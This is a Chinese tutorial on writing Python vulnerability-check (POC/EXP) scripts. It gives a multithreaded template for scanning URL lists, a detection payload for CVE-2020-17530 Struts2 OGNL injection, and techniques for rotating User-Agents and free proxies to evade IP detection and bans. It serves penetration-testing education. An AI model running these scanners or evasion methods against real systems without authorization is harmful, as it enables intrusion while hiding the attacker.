POCEXP编写—多线程

POC&EXP编写—多线程

  • 1. 前言
  • 2. 多进程&多线程
    • 2.1. 多进程
      • 2.1.1. 案例
    • 2.2. 多线程
      • 2.2.1. 案例：
    • 2.3. `POC`的案例（模板）
  • 3. UA头设置
    • 3.1. 随机UA头
      • 3.1.1. 案例
      • 3.1.2. 模板拼接
  • 4. 代理Proxy
    • 4.1. 单代理案例
    • 4.2. 多代理案例
      • 4.2.1. 请求结果
  • 5. 模板

1. 前言

本篇记录的是使用多线程，同时优化了一些代码的写法，不过毕竟不是专业写代码的，可能还是有很多代码可以用比较简短的方式写出来，而我这边可能写的会比较繁琐，这个就需要你们自行去修改或者说自己去优化。

同时我们主要以编写POC&EXP，并不是写一个大型的程序，对于内存的消耗，性能的占用并不会考虑那么多，如果自己有条件的可以自行优化。

对于多线程&多进程方面我也不会进行过多的解释，想要理解透彻，还是建议去看专业的教编程的视频或文章。术业有专攻，我们更多的是知道如何使用，至于详细的调用，还需要靠自己去理解去学习。

基本上我都放置了很多的参考链接，可以自己去看看，由于我们编写POC&EXP的时候，后续基本上都是拿一个模板过来改一改，所以就看自己了怎么想了。

2. 多进程&多线程

多线程与多进程是Python中常用的并发编程实现方式，能够有效提高程序的执行效率，这里我还是建议去看视频说的较为详细一点。

  • 对于I/O密集型任务（如网络请求、文件读写等），多线程可能是一个好选择，因为线程间切换开销较小。
  • 对于CPU密集型任务，多进程通常能更好地利用多核CPU资源，实现真正的并行执行。

参考文章：

Python多线程与多进程教程：全面解析、代码案例与优化技巧

python多进程和多线程看这一篇就够了_python 线程 高频循环-CSDN博客

2.1. 多进程

定义：多进程允许在操作系统级别上创建多个独立的进程，每个进程都有自己独立的内存空间和系统资源。

优点：

  • 进程间不共享内存，避免了数据竞争和不一致性问题。
  • 对于CPU密集型任务，多进程可以真正实现并行执行，提高整体性能。

缺点：

  • 进程间通信相对复杂，需要通过管道、套接字、共享内存等方式实现。
  • 进程创建和销毁的开销较大。

2.1.1. 案例

import multiprocessing  
import time  
  
def worker(num):  
    print("Process {} is working".format(num))  
    time.sleep(2)  
    print("Process {} finished".format(num))  
  
if __name__ == "__main__":  
    processes = []  
    for i in range(5):  
        p = multiprocessing.Process(target=worker, args=(i,))     ##创建一个新的进程对象，指定其要执行的目标函数为 worker，并将循环变量 i 作为参数传递给 worker 函数。
        processes.append(p)    ##processes.append(p) 将新创建的进程对象添加到 processes 列表中。
        p.start()  ##p.start() 启动进程，使其开始执行 worker 函数。
  
    for p in processes:  
        p.join()  ##p.join() 会阻塞主进程，直到进程 p 执行完毕。

这个案例创建了5个线程，每个线程都执行worker函数。所有线程几乎同时开始，但由于time.sleep(2)，它们会等待2秒后再结束。

2.2. 多线程

定义：多线程允许在单个进程中执行多个线程，这些线程共享相同的进程资源（如内存空间、打开的文件等）。

优点：

  • 线程间切换开销较小，因为它们是共享同一进程的内存空间。
  • 线程间通信相对简单，可以通过共享变量实现。

缺点：

  • 由于Python的全局解释器锁（GIL）的存在，多线程在CPU密集型任务上通常不能实现真正的并行执行。这意味着即使你有多个线程，Python也只会同时执行一个线程，其他线程需要等待当前线程释放GIL后才能执行。
  • 线程间共享数据可能导致数据竞争和不一致性问题。

2.2.1. 案例：

import threading  
import time  
  
def worker():  
    print("Thread {} is working".format(threading.current_thread().name))    ##获取当前线程的名称
    time.sleep(2)    ##停顿两秒，延迟执行
    print("Thread {} finished".format(threading.current_thread().name))  
  
threads = []    ##创建一个列表用于保存创建的线程对象
for i in range(5):  ##循环创建5个线程
    t = threading.Thread(target=worker)  ## 创建一个新的线程对象，指定其要执行的目标函数为 worker
    threads.append(t)  ##将新创建的线程对象添加到 threads 列表中。
    t.start()  ##启动线程，使其开始执行 worker 函数。
  
for t in threads:  
    t.join()  ##t.join() 会阻塞主线程

这个案例创建了5个进程，每个进程都执行worker函数。与多线程案例类似，所有进程几乎同时开始，但由于time.sleep(2)，它们会等待2秒后再结束。注意，多进程案例中的if __name__ == "__main__":是为了在Windows上正确运行多进程代码。

参数介绍：

Python提供了threading模块来支持多线程编程。以下是threading模块中常用的几个类和方法：

Thread类：表示一个线程对象，可以通过继承该类创建自定义的线程类。
start()方法：启动线程，使其处于就绪状态。
run()方法：线程启动后运行的方法，你可以在自定义的线程类中重写该方法以实现具体的逻辑。
join()方法：等待线程结束，使主线程阻塞，直到该线程执行完成。
Lock类：提供简单的锁机制，用于保护多线程对共享资源的访问。
Rlock类：可重入锁，可以被同一线程多次获取。
Semaphore类：信号量，用于控制对共享资源的并发访问数量。
Condition类：条件变量，用于实现线程之间的协调和通信。

2.3. POC的案例（模板）

我们在编写POC&EXP中基本上使用到多进程或多线程的还是比较少的，多数都是用于在读取文件中多个URL地址进行测试的时候会使用到，这次你几个URL的也不至于上线程来进行测试，用得上线程这些的多数都是几十个上百个地址，才值得使用，所以这里的话，知道怎么编写就欧克了。

下面代码中我也写了一些注释，这里准确来说都可以是一个模板，直接覆盖内容即可。

在下述代码中包含了测试的进度条、读写文件的操作、多线程，如果使用，基本上需要修改的就是check_vulnerability函数中的验证内容。

参考链接：Python 线程，进程，多线程，多进程以及并行执行for循环笔记 - 知乎 (zhihu.com)

import requests
import argparse
import sys
from tqdm import tqdm
from concurrent.futures import ThreadPoolExecutor   ##线程池模块


def check_vulnerability(url):  ##用于调用测试验证POC
    try:
        response = requests.get(url, timeout=3)  ##发送get请求，超时3秒
        if response.status_code == 200:  ##判断页面是否为200响应吗
            return f"[+]{url}存在CVE-2020-25540目录遍历漏洞\n"
        else:
            return f"[-]{url}不存在CVE-2020-25540目录遍历漏洞\n"
    except Exception as e:
        return f"[-]{url}存在异常请检测！\n"


def file(file_name, num_threads=5):  ##接受用户传进来的文件路径地址，接受用户传进来的线程数，默认5个
    try:
        with open(file_name, 'r', encoding='utf-8') as input_file, open("result.txt", 'w',
                                                                        encoding='utf-8') as output_file:  ##打开文件，写入文件
            urls = [line.strip() for line in input_file]  ##将文件中内容循环读取出来，并去除每一行的后面的空格等，制作成列表。

            with ThreadPoolExecutor(max_workers=num_threads) as executor:  ##产生地址池，设置线程（默认5）
                results = list(
                    tqdm(executor.map(check_vulnerability, urls), total=len(urls), desc="测试漏洞连通性",
                         ncols=100))  ##根据线程发送给poc模块进行测试，同时测试列表长度，设定百分比

            for result in results:  ##将结果写入到文件中。
                output_file.write(result)

    except KeyboardInterrupt:
        print("用户已中断程序执行。")
        sys.exit(0)
    except Exception as e:
        print(e)


def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-f", dest="file", required=False, help="The default vulnerability port is 80")
    parser.add_argument("-t", dest="threads", type=int, default=5, required=False,
                        help="Number of threads to use (default is 5)")
    args = parser.parse_args()
    file(args.file, args.threads)


if __name__ == '__main__':
    main()

看下图，第一行我测试的是只用两个线程来执行，一共是4个url，基本上是花费了4秒左右，第二行是我没用线程，4个url花费了9秒，还是能够看出来区别效果的。

image-20240429102848169

3. UA头设置

在下面中我们可以看到headers中的User-agent是从我们之前的burp软件中导出来的，这里可以隐藏自己，将所有的UA头，让每次运行的时候随机选择一个。

def poc(url, port):
    payload = "/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d"
    url1 = f"{url}:{port}{payload}"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding": "gzip, deflate, br",
               "DNT": "1",
               "Connection": "close"}
    try:
        r = requests.get(url1, headers=headers, verify=False, timeout=5, allow_redirects=False)
        if "test2041" in r.text:
            print(f"[+]{url}存在CVE-2020-17530远程命令执行漏洞")
        else:
            print(f"[-]{url}不存在CVE-2020-17530远程命令执行漏洞")
    except Exception as e:
        print(f"[-]{url}存在异常，请检查！")
        sys.exit(1)

3.1. 随机UA头

User-Agent代表用的哪个请求的浏览器

3.1.1. 案例

这里我们可以列举一个UA头列表，然后随机取其中一个UA头替换请求头中的ua头内容。

import random  # 确保已经导入了random模块  
  
headers = {  
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",  
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",  
    "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",  
    "Accept-Encoding": "gzip, deflate, br",  
    "DNT": "1",  
    "Connection": "close"  
}  
  
ua_list = [  
    "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",  
    "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1",  
    "Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1",  
    "Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27",  
    "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  QIHU 360EE)"  
]  
  
# 随机选择一个user_agent  
user_agent = random.choice(ua_list)  
  
# 替换headers字典中的User-Agent值  
headers["User-Agent"] = user_agent  
  
# 打印更新后的headers字典以验证更改  
print(headers)

image-20240429150910413

3.1.2. 模板拼接

这里就是将上述的内容，并结合到实际的案例中。

import argparse
import requests
import sys
import random


##设置ua头列表
ua_list = [
    "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",
    "Mozilla/5.0 (Windows; U; Windows NT 5.2) Gecko/2008070208 Firefox/3.0.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Version/3.1",
    "Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27",
    "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ;  QIHU 360EE)"
    
]
def poc(url, port):
    payload = "/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d"
    url1 = f"{url}:{port}{payload}"
    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
               "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
               "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
               "Accept-Encoding": "gzip, deflate, br",
               "DNT": "1",
               "Connection": "close"}
    user_agent = random.choice(ua_list)    ##随机取其中一个ua头
    headers["User-Agent"] = user_agent    ##替换字典中的值
    try:
        r = requests.get(url1, headers=headers, verify=False, timeout=5, allow_redirects=False)
        if "test2041" in r.text:
            print(f"[+]{url}存在CVE-2020-17530远程命令执行漏洞")
        else:
            print(f"[-]{url}不存在CVE-2020-17530远程命令执行漏洞")
    except Exception as e:
        print(f"[-]{url}存在异常，请检查！")
        sys.exit(1)


def main():
    banner = """
  .:: ::    .::                   .::                 
.::    .::  .::                   .::          .:::.: 
 .::      .:.: .:.: .:::.::  .::.:.: .: .:::: .:    .:
   .::      .::   .::   .::  .::  .::  .::        .:: 
      .::   .::   .::   .::  .::  .::    .:::   .::   
.::    .::  .::   .::   .::  .::  .::      .::.::     
  .:: ::     .:: .:::     .::.::   .:: .:: .::.:::::::
    """
    print(banner)
    print("Vulnerability version: x1.6.0-x2.2.3")
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", dest="url", required=True, type=str, default=None, help="Vulnerability IP")
    parser.add_argument("-p", dest="port", required=False, type=int, default=8080,
                        help="The default vulnerability port is 80")
    args = parser.parse_args()
    poc(args.url, args.port)


if __name__ == '__main__':
    main()

4. 代理Proxy

测试请求地址：IP地址查询_本机IP_我的IP (900cha.com)

免费代理IP：国内高匿HTTP免费代理IP_IP代理_HTTP代理 - 快代理 (kuaidaili.com)

设置代理主要是用于防止网站对IP的检测，一个IP如果长时间去访问，那么服务器会对其进行限制，尤其是在触发一些告警的时候，可能会直接将IP地址封禁，导致我们继续后面的测试。

对于代理方面主要分为：

透明代理：目标网站知道你使用了代理，并且知道你的源IP，那么这样的话，那干嘛还要使用代理呢？

匿名代理：目标网站知道你使用了代理，但是不知道你是源IP，那这样也是可以将就的。

高匿代理：目标网站既不知道你使用的代理更不知道你的源IP，但是要钱！！

python3.8以下版本：
proxies{'要请求网站的协议类型':'代理服务器ip:端口'}
案例：proxies{'https':'127.0.0.1:8080'}

python3.8以上版本：
proxies{'要请求网站的协议类型':'"代理服务器类型(http/https/socks5)://代理服务器ip:端口'}
案例：proxies{'https':'http://112.194.91.135:41122'}

4.1. 单代理案例

这里就使用一个单的代理进行测试案例。

import requests

url = 'https://ip.900cha.com/'

proxies = {
    'https': 'http://112.194.91.135:41122'  ##从网上搞来的免费代理
}

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
           "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
           "Accept-Encoding": "gzip, deflate, br",
           "DNT": "1",
           "Connection": "close"}

r = requests.get(url=url, headers=headers, proxies=proxies)  ##将代理IP带入
print(r.text)

可以看下面的返回的结果，访问确实使用了代理访问。

image-20240429154504343

4.2. 多代理案例

这里通过设置一个代理列表，如何随机从代理列表中抽取一个IP地址如何传输到字典中，来进行发送请求。这里字典有HTTP与HTTPS，是如何方便的呢？

在requests库中，当你发送一个请求时，库会自动根据请求的URL来决定使用http还是https。如果你提供的URL以http://开头，requests会使用http代理；如果URL以https://开头，它会使用https代理。

我们这里很明显设置的URL是https，那么自然在请求的时候会去发送https的请求。

import requests
import random

url = 'https://ip.900cha.com/'

proxies_list = [
    'http://112.194.88.9:41122',
    'http://112.194.91.135:41122'
]

# 随机选择一个代理
random_proxy = random.choice(proxies_list)
print(random_proxy)

# 设置代理字典
proxies = {
    'http': random_proxy,
    'https': random_proxy
}

headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0",
           "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
           "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
           "Accept-Encoding": "gzip, deflate, br",
           "DNT": "1",
           "Connection": "close"}

r = requests.get(url=url, headers=headers, proxies=proxies)
print(r.text)

4.2.1. 请求结果

第一次请求是135的地址。

image-20240429165447761

第二次请求是9的地址。

image-20240429165507199

5. 模板

这里挺简单的还需要我写模板吗？？？？自行编写吧，就修修改改的事情。

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亲爱的朋友们，你是否对编程充满好奇，却觉得它遥不可及？ 你是否想学习一门强大的编程语言，却不知从何下手？ 那么，这篇“神仙级”Python入门教程就是为你量身打造的！不论你是编程小白还是有一定…
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linux笔记4--shell命令1

linux笔记4--shell命令1

文章目录 一. 目录1.说明2.盘符3.linux根目录(以Ubuntu为例)①说明②根目录下一些文件夹的解析/home/root/mnt/media/var/cdrom/etc/lib (/lib32--32位的，/lib64-64位的)/lostfound/boot/proc/bin/sbin/snap/srv/usr/opt/dev/run/tmp 二. ls命令--操作文件夹1.说明2…
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探索阿里巴巴商品详情API接口：开启电商数据之旅

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阿里巴巴商品详情API接口是阿里巴巴开放平台提供的一项服务，它允许开发者通过调用接口获取指定商品的详细信息，包括商品标题、价格、库存、描述、图片等。这些数据对于电商从业者来说具有极高的价值，可以帮助他们更好地了解市场动态&#xff…
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层次分析法（AHP）计算原理解释

层次分析法（AHP）计算原理解释

AHP层次分析法是一种解决多目标复杂问题的定性和定量相结合进行计算决策权重的研究方法。该方法将定量分析与定性分析结合起来，用决策者的经验判断各衡量目标之间能否实现的标准之间的相对重要程度，并合理地给出每个决策方案的每个标准的权数&#xff0c…
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vue下载文件时显示进度条

vue下载文件时显示进度条

1.单个下载&#xff08;开始是导出按钮 下载显示进度条&#xff09; html <el-button click.stop"exportReport(scope.row, scope.index)" v-if"!scope.row.schedule" icon"el-icon-download"size"small" type"text"styl…
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Linux第十五章

Linux第十五章

&#x1f436;博主主页&#xff1a;ᰔᩚ. 一怀明月ꦿ ❤️‍&#x1f525;专栏系列&#xff1a;线性代数&#xff0c;C初学者入门训练&#xff0c;题解C&#xff0c;C的使用文章&#xff0c;「初学」C&#xff0c;linux &#x1f525;座右铭&#xff1a;“不要等到什么都没有了…
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系统思考—企业辅导咨询

系统思考—企业辅导咨询

从2004年、2014年到2024年&#xff0c;国九条政策的发布与变迁不仅影响了行业趋势&#xff0c;更深刻地改变了企业的风险预估和策略辅导。彼得杜鲁克曾经说过&#xff1a;“必须系统地抛弃旧知识。”这不仅是企业领导者的挑战&#xff0c;也是我们每个人的难题。难点不在于我们…
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GITEE 基于OAuth2的API V5版本

GITEE 基于OAuth2的API V5版本

为了构建更好的码云生态环境&#xff0c;我们推出了基于OAuth2的API V5版本。 API V5接口使用方式以及Url都参照GitHub&#xff0c;为了各位开发者更好的兼容已经存在的第三方应用。 API 使用条款 OSCHINA 用户是资源的拥有者&#xff0c;需尊重和保护用户的权益。不能在应用…
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